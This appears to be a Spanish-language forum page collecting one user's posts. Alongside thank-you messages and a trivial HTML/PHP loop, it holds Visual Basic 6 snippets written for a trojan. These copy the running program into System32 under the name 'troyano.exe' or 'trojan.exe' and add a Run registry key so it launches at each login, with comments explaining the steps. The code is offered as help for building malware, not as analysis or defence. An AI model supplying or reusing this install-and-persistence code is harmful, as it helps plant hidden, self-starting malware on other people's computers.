jaja todos tenemos fallos  
 
Funciona a la perfección muchas gracias por tu ayuda ^^.
Saludos
			
 
Funciona a la perfección muchas gracias por tu ayuda ^^.
Saludos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
 
<html>
<head>
   <title>Lol</title>
</head>
<body>
<input type="text" name="lol">
<input type="submit" name="asd" value="Aceptar"><br>
<?php
   
   for($i=0;$i<=15;$i++)
   {
      echo "Linea ".$i."<br>";
   }
?>
</body>
</html> 
Private Sub Form_Load()
If Dir("C:\windows\system32\troyano.exe") <> "" Then
        MsgBox "El archivo existe"
        'Como ya existe no hace falta q lo copies ni lo añadas al registro
    Else
        FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"
        'Como no existe lo copias y lo añades al registro
    End If
End Sub
 
				
Private Sub Form_Load()
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan", "C:\Windows\System32\trojan.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe"
End Sub
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Function System32() As String
    Dim buf As String
    Dim ret As Long
    buf = String$(260, Chr$(0))
    ret = GetSystemDirectory(buf, Len(buf))
    System32 = Left$(buf, ret)
End Function
Private Sub Form_load()
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe"
End Sub
 